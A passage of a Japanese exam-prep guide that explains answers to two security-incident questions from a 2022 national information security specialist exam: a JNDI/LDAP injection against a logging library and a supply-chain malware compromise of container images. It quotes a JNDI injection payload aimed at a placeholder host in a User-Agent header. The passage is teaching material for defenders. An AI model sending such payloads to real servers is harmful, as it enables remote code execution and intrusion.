
表4

予約サーバ,a3.b3.c3.d3,HTTP,200。

run プロセスのプロセス ID は,表3から 200 である。表4のコネクション一覧で,プロセス ID が 200 の行は,宛先が a3.b3.c3.d3 の HTTP 通信だけである(110 の行は T ソフトの SBMain プロセスによる,a1.b1.c1.d1 と a2.b2.c2.d2 への HTTPS 通信)。したがって run プロセスが外部への通信を行っていたホストの IP アドレスは a3.b3.c3.d3 である。

本文は続けて,a を確認したところ“海外の IP アドレスであり,予約サーバの通信先として想定されているものではなかった”と述べている。a1,a2 は T ソフトの通常の通信先(SNS 投稿用のサーバなど)で,a3 だけが想定外という流れである。

表から選ぶ設問なので,プロセス ID の列を見て 200 の行を探し,宛先の列の値をそのまま書き写す。HTTPS の行(110)を選ばないよう,プロセス ID と表3の run プロセスを必ず突き合わせる。

設問2(1) 40字以内

本文中の下線①について,T ソフトを調べれば分かると判断した理由を,40 字以内で具体的に答えよ。

解答例

  • runプロセスの親プロセスがTソフトのプロセスであるから
解説

本文の根拠

表3

プロセス ID 100,親プロセス ID(省略),開始時刻 10:11:15,コマンド java BSoftMain

表3

プロセス ID 200,親プロセス ID 100,開始時刻 13:06:30,コマンド run

〔セキュリティインシデントの報告と調査〕

普段予約サーバでは,BSoftMain と SBMain という T ソフトのプロセスが稼働している

表3の run プロセス(プロセス ID 200)の親プロセス ID は 100 で,これはコマンドが java BSoftMain のプロセス,つまり T ソフトの本体である。プロセスは親プロセスが子プロセスを起動することで生まれるので,run プロセスは T ソフトのプロセスから起動されたことになる。したがって,run プロセスが稼働している原因を追究するには,T ソフトを調べる必要がある。

同じ親 100 の子には SBMain(プロセス ID 110)もあり,普段から稼働する T ソフトのプロセスである。見慣れない run だけが T ソフトを親にしているのは,T ソフトの脆弱性などを足掛かりに run が起動された疑いを示す。採点講評も,“プロセスの起動順序を説明した解答が散見された”として,親子関係を調べる必要性を挙げている。起動時刻(13:06:30)が SBMain(13:00:00)の後であることを理由にしても,原因の追究先は決まらない。

字数制限は 40 字以内で,解答例は 28 字。“run プロセスの親プロセスが T ソフトのプロセスである”という事実と,“から”で結ぶ理由の形にそろえる。

採点講評(IPA)

設問2(1)は,正答率は平均的であったが,プロセスの起動順序を説明した解答が散見された。不審なプロセスの調査においては,プロセスの親子関係について調査することの必要性も認識しておいてほしい。

設問2(2) 解答欄5つ

表7中の b,c に入れる適切な時刻,表7中の d 〜 f に入れる適切な字句を答えよ。

〔b〕解答例

  • 13:04:32

〔c〕解答例

  • 13:05:50

〔d〕解答例

  • a8.b8.c8.d8

〔e〕解答例

  • LDAP

〔f〕解答例

  • JExp
解説

本文の根拠

表5

時刻 13:04:32,送信元 a7.b7.c7.d7,リクエスト GET /index.html,ユーザエージェント ${jndi:ldap://a8.b8.c8.d8/JExp}。

表6

13:05:50,予約サーバ,a8.b8.c8.d8,LDAP,許可。

図2

ライブラリ X は IP アドレスが a4.b4.c4.d4 のサーバに対し,LDAP で“Exploit”というクエリを送る。

表7

番号5:時刻 13:06:30,内容 予約サーバで,4の通信のレスポンスに含まれるファイルが実行され,run プロセスが起動した。

表7は攻撃の流れを時系列にまとめたものである。番号1の“攻撃者が予約サーバに対して通信を行った”は,表5のアクセスログ(攻撃文字列“${jndi:ldap://a8.b8.c8.d8/JExp}”をユーザエージェントに含むリクエスト)に当たり,b は 13:04:32 である。番号2は,図2の手順1に書かれた“ライブラリ X が攻撃文字列中の IP アドレスのサーバに対し,LDAP で“Exploit”に当たるクエリを送る”動作で,表6の 13:05:50 の LDAP 通信がこれに当たる。よって c は 13:05:50,d は a8.b8.c8.d8,e は LDAP,f は攻撃文字列の末尾の JExp(図2の“Exploit”に当たる部分)である。

表6の 13:05:53 の HTTP 通信(宛先 a8.b8.c8.d8)が番号3の,13:06:05 の HTTP 通信(宛先 a9.b9.c9.d9)が番号4の通信に当たると考えられ,13:06:30 に run プロセスが起動する番号5につながる。13:02:15 の a1 宛て HTTPS など,ほかの行は T ソフトの通常の通信なので選ばない。

表から値を拾う設問で,字数制限はない。時刻は“表5の攻撃リクエストの時刻”と“表6のうち a8 宛ての LDAP 通信の時刻”を取り違えないこと。f は“JExp”だけを書き,“jndi:ldap://…”を付けない。

設問3(1) 40字以内

本文中の下線②について,その理由を,40 字以内で具体的に答えよ。

解答例

  • ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能だから
解説

本文の根拠

図2

ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合,攻撃者の用意した Java クラスが実行される可能性がある。

表5

ユーザエージェント ${jndi:ldap://a8.b8.c8.d8/JExp}

〔会員サーバの調査〕

会員サーバにおいてもライブラリ X でログ出力処理を行っていること,

図2のとおり,脆弱性 Y は,ライブラリ X がログ出力処理の対象にする文字列に攻撃文字列が含まれれば成立する。表5のように,攻撃文字列は HTTP リクエストのユーザエージェントに入っており,これがアクセスログとして記録されるときにライブラリ X が処理する。ログイン前の HTTP リクエストでも,Web サーバはリクエストを受け付けてログに書くので,攻撃者が会員サイトの利用者 ID とパスワードを知らなくても,攻撃文字列を送るだけで悪用できる。

したがって D 主任の“攻撃が失敗したのはログインの ID とパスワードを知らなかったからだ”という考えは誤りで,E 氏は認証前でも悪用できると指摘した。会員サーバもライブラリ X でログ出力を行っているので,認証の有無は攻撃の成否に関係しない。採点講評は,この設問の正答率が低かったと述べ,報告されている脆弱性情報から,実際のシステムについて影響を受ける条件を把握し,影響を評価することの重要性を挙げている。

字数制限は 40 字以内で,解答例は 31 字。“ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能”という脆弱性の成立条件を書き,認証は条件でないことが伝わるようにする。“ログインしなくても”と書くだけでは理由にならない。

採点講評(IPA)

設問3(1)は,正答率が低かった。報告されている脆弱性情報から,実際のシステムについて影響を受ける条件を把握し,影響を評価することは,脆弱性への対処を行う上で重要なので,その手法について理解を深めてほしい。

設問3(2) 40字以内

本文中の下線③について,攻撃が失敗した理由を,40 字以内で具体的に答えよ。

解答例

  • 会員サーバからインターネット宛てのLDAP通信が許可されていないから
解説

本文の根拠

表2

項番2:予約サーバ,インターネット,全て,許可。

表2

項番12:全て,全て,全て,拒否。

表2

注記3 項番6〜11 には DMZ 内のサーバとインターネットとの間,及び PC-LAN とインターネットとの間の通信に関するルールはない。

予約サーバへの攻撃は,図2の手順2〜4のとおり,攻撃を受けたサーバがインターネット上の攻撃者のサーバへ LDAP や HTTP で接続して,クラス・ファイルを取得することで成立する。予約サーバでは,表6のとおり,a8 宛ての LDAP 通信と HTTP 通信が FW で許可されていた。表2の項番2に“予約サーバ→インターネット,サービス全て,許可”があるためである。

会員サーバにはこの許可に当たるルールがない。注記3から,項番6〜11 に DMZ 内のサーバとインターネットとの間の通信に関するルールはなく,項番3 は PC-LAN からプロキシサーバ宛て,項番4・5 はプロキシサーバが送信元なので,会員サーバからインターネット宛ての通信は,項番12 の“全て拒否”に当たる。ライブラリ X は攻撃文字列の LDAP クエリを送ろうとするが,FW に遮られて攻撃者の LDAP サーバに届かず,攻撃は途中で失敗した。

字数制限は 40 字以内で,解答例は 34 字。“会員サーバからインターネット宛ての LDAP 通信が許可されていない”の主語(会員サーバ)・向き(インターネット宛て)・プロトコル(LDAP)を落とさない。“FW で拒否された”だけでは何が拒否されたのかが分からない。

設問4 解答欄3つ

表8中の g 〜 i に入れる適切な字句を答えよ。

〔g〕解答例

  • 予約サーバ

〔h〕解答例

  • SNS投稿用のサーバのURL

〔i〕解答例

  • 全て
解説

本文の根拠

〔再発防止策の検討〕

予約サーバを起点とするインターネットへの HTTPS 通信は,プロキシサーバを中継させる設定とする。

表1

アクセス元の IP アドレス範囲ごとにそれぞれ別の URL フィルタリングルールを定義することができる。

表1

拒否リストに“全て”を指定すると,許可リストに指定した URL 以外の URL への通信が拒否される。

表1

工場見学の空き状況は U 社の SNS アカウントを利用して,クラウドサービス上の複数の SNS 投稿用のサーバに対して HTTPS で定期的に投稿される。

再発防止策では,予約サーバの HTTPS 通信をプロキシサーバ経由にし,FW の項番2(予約サーバ→インターネットを全て許可)を削除する。予約サーバがインターネットに出る通信は,プロキシサーバで URL ごとに制御される。プロキシサーバの URL フィルタリングルールはアクセス元の IP アドレス範囲ごとに定義できるので,g は“予約サーバ”の IP アドレスである。

予約サーバが正当にアクセスする先は,SNS 投稿用のサーバだけである(表1)。許可リストには SNS 投稿用のサーバの URL を指定し,拒否リストには“全て”を指定する。表1の説明どおり,リストは上から順に適用され,拒否リストの“全て”は,許可リストに指定した URL 以外の通信を拒否する。これで,予約サーバから攻撃者のサーバへの HTTP 通信は URL フィルタで拒否される。逆に,拒否リストが空だと,“どのリストにも該当しない URL は,アクセスが許可される”ので,攻撃者のサーバにも到達できてしまう。

表を埋める設問で,字数制限はない。h は“SNS投稿用のサーバのURL”と,ホワイトリストの対象を具体的に書く。i の“全て”は,表1の言葉をそのまま使う。許可リストに“全て”を書くと,全ての URL が許可されてしまい,制限にならないことに注意する。

出典:令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2(表記を一部改変)

問3 オンラインゲーム事業者でのセキュリティインシデント対応

オンラインゲーム事業者でのセキュリティインシデント対応に関する次の記述を読んで,設問に答えよ。

M 社は従業員 100 名のオンラインゲーム事業者である。M 社のゲームは利用者が Web ブラウザからインターネット経由でアクセスして利用する。M 社には開発部及び運用部があり,各従業員には PC が貸与されている。M 社の各 PC 及び各サーバには,固定の IP アドレスが割り当てられており,コンテナエンジンがインストールされている。M 社のネットワーク構成を図1に,機器の概要を表1に示す。

M 社の構内に内部サーバ LAN,PC-LAN,本番 LAN がある。内部サーバ LAN には L2SW があり,その配下にソースコードサーバとレジストリサーバがある。PC-LAN には L2SW と複数の PC がある。本番 LAN には L2SW,LB,本番 FW,ゲームサーバ1〜ゲームサーバ4がある。業務用 FW は,インターネット,内部サーバ LAN の L2SW,PC-LAN の L2SW,本番 LAN の L2SW に接続している。本番 FW はインターネットと LB に接続し,LB は本番 LAN の L2SW に接続している。ゲームサーバ1〜4は本番 LAN の L2SW に接続している。凡例 FW:ファイアウォール,L2SW:レイヤー2スイッチ,LB:負荷分散装置。
図1 M 社のネットワーク構成(抜粋)
名称と概要の2列の表。業務用 FW:・PC-LAN,内部サーバ LAN 及び本番 LAN を起点とするインターネット接続において,送信元 IP アドレスをグローバル IP アドレス a1.b1.c1.d1 に変換する。・本番 LAN を起点とする通信に関してログに記録する。ソースコードサーバ:・バージョン管理ツールが動作しており,ゲームの Web アプリケーションプログラム(以下,ゲームアプリという)のソースコードが格納されている。・新たなソースコードが格納されるたびに,当該ソースコードが参照している OSS のソースコードを外部からダウンロードする。その後,ゲームアプリのコンテナイメージ(以下,ゲームイメージという)を新たに生成し,レジストリサーバに登録する。・ゲームイメージは“タグ”で識別される。タグは,ゲームイメージが生成されるたびに連番で付与される番号である。レジストリサーバ:・ゲームイメージを登録する。ゲームイメージの新規登録及び上書き登録,並びに登録されたゲームイメージの列挙,取得及び削除のために,HTTPS でアクセスする REST API を実装している。当該 REST API に認証・認可機能は設定されていないが,API 呼出しはログに記録される。
表1 M 社の機器の概要(抜粋)
名称と概要の2列の表。LB:・インターネットからの HTTPS 接続を終端し,転送先として選択可能なサーバ群(以下,LB メンバという)のいずれかに HTTP リクエストを転送する。転送先のサーバはラウンドロビン方式によって選択するが,同じセッションのリクエストは同じサーバに転送する。・LB メンバにはゲームサーバ1〜4が登録されている。・グローバル IP アドレス a2.b2.c2.d2 をもつ。ゲームサーバ1〜4:・ゲームイメージを基にコンテナが稼働する。当該コンテナ内のプロセスによるファイルシステムへのアクセスは,ゲームイメージに含まれるファイルの読込み,並びに一時ディレクトリ内のファイルの作成,読込み,書込み及び実行だけに制限されている。ネットワーク接続の接続先には制限がない。・ゲームアプリはログを一時ディレクトリに出力する。一時ディレクトリはコンテナ起動時に作成され,コンテナ終了時に消去される。
表1 M 社の機器の概要(抜粋)(続き)

M 社では,定期的にゲームアプリを更新する。開発部は新たなバージョンのゲームアプリに対して品質テストを行い,品質テストが完了したゲームイメージのタグを運用部に伝達する。運用部は図2に示す更新手順でゲームアプリを更新する。

1. LB メンバをゲームサーバ3及びゲームサーバ4だけにする。2. ゲームサーバ1及びゲームサーバ2上で次の(a)〜(c)を実施する。(a) 稼働しているコンテナを終了する。(b) 開発部から伝達を受けたタグのゲームイメージを,レジストリサーバから取得する。(c) 当該ゲームイメージを基にコンテナを起動する。3. LB メンバをゲームサーバ1及びゲームサーバ2だけにする。4. その後,4時間経過して異常がなければ,ゲームサーバ3及びゲームサーバ4に対し,上記2.の(a)〜(c)を実施する。5. LB メンバをゲームサーバ1〜4にする。
図2 更新手順

〔セキュリティインシデントの発生〕

運用部の H さんは,3月6日に開発部からタグ 367 を伝達され,同日 10 時に更新手順を開始し,3.までを終えた。同日 13 時 40 分,H さんは,ゲームサーバ1が応答していないことに気付き,LB メンバをゲームサーバ3及びゲームサーバ4だけにした後,ゲームサーバ1上のコンテナを確認した。H さんが確認したコンテナの一覧を表2に示す。

コンテナ ID,タグ,実行コマンド,状態,利用ポートの5列の表。(省略),351,/app/game.out,3月6日10時05分に終了,80/tcp。(省略),376,/app/game.out,3月6日10時14分に起動,80/tcp。
表2 ゲームサーバ1上のコンテナの一覧

H さんはゲームサーバ1での更新の際に誤ってタグ a のゲームイメージを取得したことに気付いた。またゲームサーバ1で稼働中のコンテナ内では game.out 及び prog というプロセスが実行中であったが,ゲームサーバ2で稼働中のコンテナ内には prog というプロセスがなかったので,開発部に確認した。その結果,図3に示す内容が判明した。

・タグ [ a ] のゲームイメージに,prog という名称のファイルは含まれていない。・prog プロセスの実行ファイルのハッシュ値が,セキュリティベンダーの公開するマルウェアデータベースに登録されている。・当該ゲームイメージに含まれる OSS の一つに,コード Z という悪意のあるプログラムコードが混入しているとの情報があった。当該ゲームイメージを調査したところコード Z を発見した。コード Z は,呼出し元プログラムの起動から3時間後に呼出し元プログラムの処理を中断させ,同時に,攻撃者が用意した外部のサーバに接続して,指示された任意の命令を実行する。
図3 判明した内容

H さんは,ゲームサーバ1上でコード Z が実行されたと判断し,運用部の K 主任に報告した。次は,その時の H さんと K 主任との会話である。

〔各サーバ上での被害の調査〕

H さんが同日の業務用 FW のログを確認したところ,ゲームサーバ1はインターネット上の IP アドレス a3.b3.c3.d3 及びレジストリサーバに対してだけ接続していた。そこで H さんは,同日のレジストリサーバの HTTP 及び HTTPS のアクセスログを確認した。H さんが確認したアクセスログを,表3に示す。

項番,ソース,時刻,メソッド,リクエスト URI,ステータスの6列の表。項番1:ゲームサーバ1,10:10,GET,/v2/gameapp/manifests/376,200 OK。項番2:ゲームサーバ2,10:24,GET,/v2/gameapp/manifests/367,200 OK。項番3:ソースコードサーバ,11:29,PUT,/v2/gameapp/manifests/379,201 Created。項番4:ゲームサーバ1,13:24,GET,/index.html,404 Not Found。項番5:ゲームサーバ1,13:24,GET,/v2/_catalog,200 OK。項番6:ゲームサーバ1,13:25,GET,/v2/gameapp/tags/list,200 OK。項番7:ゲームサーバ1,13:26,GET,/v2/gameapp/manifests/379,200 OK。項番8:ゲームサーバ1,13:26,PUT,/v2/gameapp/manifests/379,201 Created。項番9:ゲームサーバ1,13:27,PUT,/v2/gameapp/manifests/378,201 Created。(中略)項番46:ゲームサーバ1,13:45,PUT,/v2/gameapp/manifests/341,201 Created。注記1 1件のゲームイメージの登録又は取得のリクエストに対して複数行のログが出力されるが,各リクエストに対してログ1行だけを記載している。注記2 項番8から46まで,リクエスト URI の末尾の数値が1ずつ減っていくログが連続していた。注記3 項番46より後のログは存在しなかった。
表3 レジストリサーバの HTTP 及び HTTPS のアクセスログ(抜粋)

H さんが調査したところ,項番1及び2は,H さんがゲームイメージを取得した時のもの,項番3は,開発部の従業員がソースコードをソースコードサーバに格納したことによって,自動的にタグ 379 のゲームイメージが生成され,登録された時のものであると特定された。一方,項番4以降については,開発部及び運用部ともに誰も該当する操作を行っていなかったので,K 主任に相談した。次は,その時の K 主任と H さんとの会話である。

その後,K 主任は,被害の拡大を防止するために,H さんに④レジストリサーバへの対処を指示した。

〔再発防止及び被害低減のための対策〕

初動対応と原因分析を終えた H さんは,再発防止及び被害低減のための対策を検討することにし,K 主任に相談した。次は,その時の H さんと K 主任との会話である。

H さんは,ほかにも必要な再発防止及び被害低減のための対策を検討した。

出題趣旨(IPA)

OSSを用いたソフトウェア開発が一般化している。一方,悪意あるプログラムや脆弱性をもつプログラムがOSSに混入する可能性が高まっている。事実,情報セキュリティ10大脅威2022の“組織”向け脅威にサプライチェーンの弱点を悪用した攻撃やゼロデイ攻撃がランクインしている。そこで,そのような事象を想定したインシデントハンドリングの体制及び手順を検討しておくことは重要である。本問では,オンラインゲーム事業者でのセキュリティインシデント対応を題材に,インシデントハンドリングを行う能力を問う。

採点講評(問全体・IPA)

問3では,オンラインゲーム事業者でのセキュリティインシデント対応を題材に,ソフトウェアのサプライチェーンに起因する攻撃への対処について出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

本文中及び図3中の a に入れる適切な番号を答えよ。

〔a〕解答例

  • 376
解説

本文の根拠

〔セキュリティインシデントの発生〕

運用部の H さんは,3月6日に開発部からタグ 367 を伝達され

表2

(省略),376,/app/game.out,3月6日10時14分に起動,80/tcp。

表3

項番1:ゲームサーバ1,10:10,GET,/v2/gameapp/manifests/376,200 OK。

H さんが開発部から伝達されたタグは 367 である。ところが表2のゲームサーバ1では,タグ 376 のコンテナが 10 時 14 分に起動している。表3の項番1でも,10:10 にゲームサーバ1がレジストリサーバから manifests/376 を取得しており,項番2でゲームサーバ2が取得した 367 とは異なる。したがってゲームサーバ1では,367 を 376 と取り違えて取得したことになる。

本文の“H さんはゲームサーバ1での更新の際に誤ってタグ a のゲームイメージを取得したことに気付いた”の a が 376 である。図3では,そのタグ 376 のゲームイメージに prog という名称のファイルが含まれていないこと,つまり正規のゲームイメージの内容ではなく,ゲームサーバ1でだけ,後から prog が入ったことが示されている。

数値を答える設問で,字数制限はない。367 と 376 は数字の並べ替えなので,表2のタグ列(351 は終了済み,376 が稼働中)と表3の取得ログの両方で確かめる。

設問1(2) 30字以内

本文中の下線①について,どのような命令か。30 字以内で答えよ。

解答例

  • progというファイルをダウンロードし,実行する命令
解説

本文の根拠

図3

コード Z は,呼出し元プログラムの起動から3時間後に呼出し元プログラムの処理を中断させ,同時に,攻撃者が用意した外部のサーバに接続して,指示された任意の命令を実行する。

図3

prog プロセスの実行ファイルのハッシュ値が,セキュリティベンダーの公開するマルウェアデータベースに登録されている。

表1

並びに一時ディレクトリ内のファイルの作成,読込み,書込み及び実行だけに制限されている。ネットワーク接続の接続先には制限がない。

prog はゲームイメージに含まれていないのに,コンテナ内で実行されていた。実行ファイルのハッシュ値はマルウェアデータベースに登録されており,マルウェアである。コード Z は“攻撃者が用意した外部のサーバに接続して,指示された任意の命令を実行する”ので,攻撃者はその命令で,prog のファイルを外部のサーバからダウンロードして実行させたと考えられる。

表1のとおり,ゲームサーバ上のコンテナのファイルシステムは,ゲームイメージのファイルの読込みと,一時ディレクトリ内のファイルの作成・読込み・書込み・実行だけに制限される。一方で,ネットワーク接続の接続先には制限がない。したがって,prog を一時ディレクトリにダウンロードして実行することは,この制限の中で可能である。採点講評も,prog がコンテナ中で実行されるに至った経緯を踏まえていない解答が散見されたと指摘し,C&C 型のマルウェアによる攻撃の流れと,コンテナ環境でも被害が起こりうることを挙げている。

字数制限は 30 字以内で,解答例は 26 字。“prog(のファイル)をダウンロードし,実行する”という二つの動作を,攻撃者が指示した命令の内容として書く。“コード Z が prog を起動した”だけでは,ファイルの入手経路が欠ける。

採点講評(IPA)

設問1(2)は,正答率が平均的であったが,マルウェアであるprogがコンテナ中で実行されるに至った経緯を踏まえていない解答が散見された。C&C型のマルウェアによる攻撃の一連の流れについて理解を深めるとともに,コンテナ環境であっても被害が発生しうることに留意してほしい。

設問1(3) 15字以内 解答欄1つ

本文中の b に入れる適切な字句を 15 字以内で答えよ。

〔b〕解答例

  • 一時ディレクトリ内のログ
解説

本文の根拠

表1

ゲームアプリはログを一時ディレクトリに出力する。一時ディレクトリはコンテナ起動時に作成され,コンテナ終了時に消去される。

〔セキュリティインシデントの発生〕

コンテナを終了すると,メモリ上のデータに加えて b も消失してしまいます。

表1より,ゲームアプリはログを一時ディレクトリに出力し,一時ディレクトリはコンテナの終了時に消去される。したがって,コンテナを終了すると,メモリ上のデータに加えて,一時ディレクトリ内のログ(ゲームアプリのログ,prog などのダウンロードしたファイルも含む)が消失する。

攻撃の調査では,メモリダンプとログが痕跡の手掛かりになる。K 主任が“コンテナは終了するのではなく,一時停止してください”と言うのは,一時停止なら,コンテナの状態(メモリ上のプロセスと一時ディレクトリ)が保たれるからである。

字数制限は 15 字以内で,解答例は 12 字。“ログ”だけでは,コンテナ内のどのログかが不明確なので,“一時ディレクトリ内の”を付ける。表1にあるように,一時ディレクトリは消去される領域であることが理由になる。

設問1(4)

本文中の下線②が示す攻撃の名称を答えよ。

解答例

  • ゼロデイ攻撃
解説

本文の根拠

〔セキュリティインシデントの発生〕

過去に,②対策情報が公開される前の脆弱性を悪用した攻撃がコンテナを介して行われ,

脆弱性が発見されても,修正プログラムや回避策などの対策情報が公開される前に,その脆弱性を突いて行われる攻撃をゼロデイ攻撃という。K 主任の“対策情報が公開される前の脆弱性を悪用した攻撃”はこの定義のとおりである。

本文は,コンテナエスケープ(コンテナから,それを動かしているホスト OS へ侵害が及ぶこと)が,このような攻撃で発生した事例があると述べている。コンテナはホストの OS カーネルを共有するので,対策が間に合わない脆弱性があると,コンテナ内で任意の命令を実行できた攻撃者がホストに侵入できる可能性がある。H さんの“ほかのサーバへの被害も調査”の指示につながる。

名称を答える設問で,字数制限はない。“ゼロデイ攻撃”と書く。サプライチェーン攻撃は,コード Z が OSS に混入したことを指す名称で,この下線部の説明ではない。

設問2(1) 25字以内

本文中の下線③について,レスポンスに含まれる内容のうち,攻撃者がレジストリサーバと判断するのに用いたと考えられる情報を,25 字以内で答えよ。

解答例

  • レジストリサーバに固有のレスポンスヘッダ
解説

本文の根拠

〔各サーバ上での被害の調査〕

攻撃者は当社のネットワーク構成について詳細を知らずに項番4のアクセスをし,③そのレスポンスの内容から,レスポンスを返したホストはコンテナイメージが登録されているサーバだと判断した

表3

項番4:ゲームサーバ1,13:24,GET,/index.html,404 Not Found。

表3

項番5:ゲームサーバ1,13:24,GET,/v2/_catalog,200 OK。

表3の項番4は,ゲームサーバ1から /index.html への GET で,404 Not Found が返っている。この時点では,攻撃者は相手がレジストリサーバとは知らず,内部ネットワークのホストを探っている。その直後の項番5で /v2/_catalog(登録された一覧を取得する API)を呼んでいるので,項番4のレスポンスから,レジストリサーバと判断したと考えられる。

404 のレスポンスの本文や HTTP ヘッダには,Web サーバの種類の違いが現れる。Docker のレジストリ(Docker Registry HTTP API V2)では,/v2/ の応答などに Docker-Distribution-API-Version: registry/2.0 のようなレジストリ固有のヘッダが付く。攻撃者はこの種の,レジストリサーバに固有のレスポンスヘッダを手掛かりにしたと考えられる。(ヘッダ名は一次資料である Docker Registry HTTP API V2 の仕様に基づく例で,本文に具体名の記述はない。)

字数制限は 25 字以内で,解答例は 20 字。“レジストリサーバに固有の”と“レスポンスヘッダ”の両方を残す。“エラーメッセージ”だけでは,何で判断したのかが具体的でない。

設問2(2) 25字以内

本文中の下線④について,行うべき対処を,25 字以内で答えよ。

解答例

  • 上書きされたイメージを削除する。
解説

本文の根拠

〔各サーバ上での被害の調査〕

それ以降のログを見ると,レジストリサーバ上のタグ 341 から 379 までのゲームイメージが上書きされた可能性があります。

表3

項番46:ゲームサーバ1,13:45,PUT,/v2/gameapp/manifests/341,201 Created。

表1

当該 REST API に認証・認可機能は設定されていないが,API 呼出しはログに記録される。

表3の項番8〜46で,ゲームサーバ1が PUT で manifests/379 から 341 まで順に 201 Created の登録(上書き)を行っている。レジストリサーバの REST API に認証・認可がないので,内部ネットワークから到達できる攻撃者(に操作されたゲームサーバ1)が,ゲームイメージを書き換えられた。タグ 341 から 379 のゲームイメージは,攻撃者によって上書きされた可能性がある。

ここで,運用部の更新手順はレジストリサーバからゲームイメージを取得するものである。上書きされたイメージが残っていると,ゲームサーバ3・4 に更新したときにマルウェアを含んだイメージが配備され,被害が拡大する。そこで被害の拡大を防止するため,K 主任が指示する対処は,上書きされたイメージ(タグ 341〜379)を削除することである。削除後は,ソースコードから正規のゲームイメージを作り直して登録し直すことになる。

字数制限は 25 字以内で,解答例は 16 字。“上書きされたイメージを削除する”と,対象と動作を書く。“ゲームサーバ3・4 の更新を止める”は,K 主任が既に述べていることで,レジストリサーバへの対処ではない。

設問3(1) 解答欄1つ

本文中の c に入れる適切な IP アドレスを答えよ。

〔c〕解答例

  • a3.b3.c3.d3
解説

本文の根拠

〔各サーバ上での被害の調査〕

ゲームサーバ1はインターネット上の IP アドレス a3.b3.c3.d3 及びレジストリサーバに対してだけ接続していた。

〔再発防止及び被害低減のための対策〕

調査では,ゲームサーバ1は攻撃者からの攻撃の指示を IP アドレス c のサーバから受け取っていたことが分かりました。

業務用 FW のログから,ゲームサーバ1がその日に接続したのは,インターネット上の IP アドレス a3.b3.c3.d3 と,レジストリサーバ(内部のサーバ)だけである。レジストリサーバは社内の機器なので,攻撃者の指示を出すサーバ(C&C サーバ)は,インターネット上の a3.b3.c3.d3 とわかる。

コード Z は“攻撃者が用意した外部のサーバに接続して,指示された任意の命令を実行する”ので,指示を受け取る接続先が外部の a3.b3.c3.d3 である。業務用 FW は本番 LAN を起点とする通信のログを記録しているため,この通信が確認できる。H さんの案は,この宛先への接続を FW で拒否するというものである。

IP アドレスを書く設問で,字数制限はない。a1・a2 は M 社自身のグローバルアドレス(業務用 FW の変換後,LB のアドレス)で,a3 とは別なので混同しない。

設問3(2) 解答欄1つ

本文中の d に入れる適切な字句を,解答群の中から選び,記号で答えよ。解答群 ア ゼロトラストネットワーク イ ダークウェブ ウ ハニーポット エ ボットネット

〔d〕解答例

  • エ
解説

本文の根拠

〔再発防止及び被害低減のための対策〕

d はマルウェア感染によって攻撃者の制御下となったコンピュータで構成されますが,

マルウェアに感染して攻撃者の制御下になったコンピュータ(ボット)が,C&C サーバの指示で動く集まりをボットネットという。DDoS 攻撃や,スパムの送信などに使われる。H さんは,ゲームサーバ1もそのままにしておくとこのボットネットに加えられてしまうと述べている。

ほかの選択肢は,ア ゼロトラストネットワークが,“全てを信頼せずに,アクセスの都度,検証する”ネットワークの考え方,イ ダークウェブが,通常の検索や接続ではたどり着けない匿名性の高いネットワーク上の領域,ウ ハニーポットが,攻撃者をおびき寄せて手口を観察するための囮のシステムである。いずれも“マルウェア感染によって攻撃者の制御下となったコンピュータで構成される”ものではない。

解答群から記号を選ぶ設問なので,字数の詰め方はない。問題文の“制御下となったコンピュータで構成される”から,ボット(ロボット)の集まりという意味のボットネットを選ぶ。

設問3(3) 25字以内

本文中の下線⑤について,有効ではないのはどのような場合か。25 字以内で答えよ。

解答例

  • 別のIPアドレスを攻撃者が用いる場合
解説

本文の根拠

〔再発防止及び被害低減のための対策〕

そこで,IP アドレス c への接続を業務用 FW で拒否するのはどうでしょうか。

〔再発防止及び被害低減のための対策〕

それだけでは,攻撃者が同種の方法で攻撃の指示をしたときに⑤対策として有効でない場合があります。

H さんの案は,指示の送り元である a3.b3.c3.d3 への接続を FW で拒否するもので,ブロックリスト型の対策である。この方法は,攻撃者が指示の送信先に,別の IP アドレスのサーバを使ったときには,ブロックされない。C&C サーバの IP アドレスは攻撃ごとに変えられるので,一つのアドレスを拒否しても,攻撃者が別のアドレスを使えば,同じ攻撃が再び成立する。

攻撃者側のアドレスは変わるものと考えておく必要がある。より有効な対策は,ゲームサーバから外部への接続先を,必要なもの(許可リスト)に限定することである。表1にゲームサーバ上のコンテナの接続先には制限がないとあるので,この点が弱点になる。

字数制限は 25 字以内で,解答例は 18 字。“別の IP アドレスを”と“攻撃者が用いる”の二つを書く。“a3 以外のアドレスの場合”とすると,攻撃者側の行為という要点が落ちる。

設問3(4) 解答欄1つ

本文中の e に入れる適切な機器名を,解答群の中から選び,記号で答えよ。解答群 ア LB イ PC ウ 業務用 FW エ ゲームサーバ1〜4 オ ソースコードサーバ カ 本番 FW キ レジストリサーバ

〔e〕解答例

  • オ
解説

本文の根拠

〔再発防止及び被害低減のための対策〕

REST API によるゲームイメージの新規登録及び上書き登録の呼出しについて,呼出し元 IP アドレスを e の IP アドレスからだけに制限する

表1

その後,ゲームアプリのコンテナイメージ(以下,ゲームイメージという)を新たに生成し,レジストリサーバに登録する。

表3

項番3:ソースコードサーバ,11:29,PUT,/v2/gameapp/manifests/379,201 Created。

表1より,ゲームイメージをレジストリサーバに新規登録するのは,新たなソースコードが格納されるたびにゲームイメージを生成する,ソースコードサーバである。表3の項番3も,ソースコードサーバが PUT で manifests/379 を登録した記録で,“開発部の従業員がソースコードを格納したことによって,自動的にタグ 379 のゲームイメージが生成され,登録された”ものである。したがって,登録・上書き登録の呼出し元は,ソースコードサーバだけに制限すればよい。

運用部のゲームサーバは,更新時にゲームイメージを GET で取得するだけで,登録や上書きの呼出しは行わない。今回の攻撃はゲームサーバ1から PUT が行われたので,呼出し元をソースコードサーバに限れば,ゲームサーバ1からの上書きは拒否される。採点講評は,ソースコードサーバがレジストリサーバにゲームイメージを登録することを見落としている解答が一部に見られたと指摘し,継続的インテグレーションという手法をよく理解しておくよう述べている。

解答群から機器名を選ぶ設問で,字数の詰め方はない。取得(GET)と登録(PUT)の呼出し元の違いを区別し,PC やゲームサーバなどを選ばないこと。

採点講評(IPA)

